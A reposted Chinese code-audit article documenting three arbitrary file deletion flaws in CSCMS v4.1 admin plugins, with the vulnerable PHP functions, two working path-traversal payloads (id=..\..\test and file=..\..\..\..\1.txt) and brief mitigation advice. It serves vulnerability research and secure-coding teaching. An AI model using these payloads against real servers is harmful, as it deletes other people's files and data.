前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【代码审计】任意文件删除漏洞实例

【代码审计】任意文件删除漏洞实例

作者头像
Bypass
发布2019-07-08 17:37:58
1.2K0
发布2019-07-08 17:37:58
举报
文章被收录于专栏:Bypass

0x00 前言

在一个网站中,涉及文件删除操作的函数,如果文件名可控,将可能存在任意文件删除漏洞,该漏洞可让攻击者随意删除服务器上的任意文件。好久没更新代码审计的文章了,通过CSCMS分享几个漏洞实例,水一文。

0x01 环境搭建

CSCMS :http://www.chshcms.com 网站源码版本:Cscms_v4.1正式版(发布日期:2017-06-05) 程序源码下载:https://github.com/chshcms/cscms

0x02 漏洞实例一

漏洞文件位置:\cscms\plugins\sys\admin\Basedb.php 第160-177行:

代码语言:javascript
复制
public function del(){
    $dir = $this->input->get_post('id',true);
    if(empty($dir)){
        getjson(L('plub_11'));
    }
    $dirs = array();
    if(!is_array($dir)){
        $dirs[] = $dir;
    }else{
        $dirs = $dir;
    }
    foreach($dirs as $dir) {
        deldir(FCPATH.'attachment/backup/'.$dir);
    }
    $info['msg'] = L('plub_12');
    $info['url'] = site_url('basedb/restore').'?v='.rand(1000,9999);
    getjson($info,0);
}

漏洞利用: 1、根目录下新建test目录作为测试:

2、构造参数成功删除test目录 http://127.0.0.1/admin.php/basedb/del POST:id=..\..\test

0x02 漏洞实例二

漏洞文件位置:/plugins/sys/admin/Skin.php 第418--440行:

代码语言:javascript
复制
public function del(){
    $ac = $this->input->get('ac',true);
    $op = $this->input->get('op',true);
    $dir = $this->input->get('dirs',true);
    $file = $this->input->get('file');
    if($ac!='mobile') $ac='pc';
    if($op!='home' && $op!='user') $op='skins';
    if(empty($dir)) getjson(L('plub_27'));
    $skin_dir = VIEWPATH.$ac.FGF.$op.FGF.$dir.FGF.$file;
    if (!is_dir($skin_dir)) {  //文件
          $res=unlink($skin_dir);
    }else{  //目录
          $res=deldir($skin_dir);
    }
    if($res){
        $info['url'] = site_url('skin').'?ac='.$ac.'&op='.$op.'&v='.rand(1000,9999);
        $info['msg'] = L('plub_46');
        $info['turn'] = 1;
        getjson($info,0);
    }else{
        getjson(L('plub_28'));
    }

漏洞利用: 网站根目录下新建1.txt文件作为测试,构造URL成功删除文件 Payload:http://127.0.0.1/admin.php/skin/del?ac=pc&op=skins&dirs=default&file=..\..\..\..\1.txt

0x03 漏洞实例三

漏洞文件位置:/plugins/sys/admin/Plugins.php 第285-299行:

代码语言:javascript
复制
public function del(){
    $dir = $this->input->get_post('dir',true);
    if($dir==''){
        getjson(L('plub_del_0'),1);
    }
    deldir(FCPATH.'plugins'.FGF.$dir.FGF);
    //删除配置目录
    deldir(CSCMS.$dir.FGF);
    //删除模板目录
    deldir(FCPATH.'tpl/admin/'.$dir.FGF);
    $info['func'] = __FUNCTION__;
    $info['msg'] = L('plub_del_1');
    getjson($info,0);
}

漏洞利用:

0x04 安全防御

限制文件删除函数可删除的目录位置、文件类型

文件名非用户可控

喜欢这篇文章的人也喜欢 · · · · · ·

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

【代码审计】SQL二次编码注入漏洞实例(附tamper脚本)

【代码审计】MIPCMS 远程写入配置文件Getshell

【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞

Bypass

About Me

一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-07-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Bypass 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 前言
  • 0x01 环境搭建
  • 0x02 漏洞实例一
  • 0x02 漏洞实例二
  • 0x03 漏洞实例三
  • 0x04 安全防御
相关产品与服务
代码审计
代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档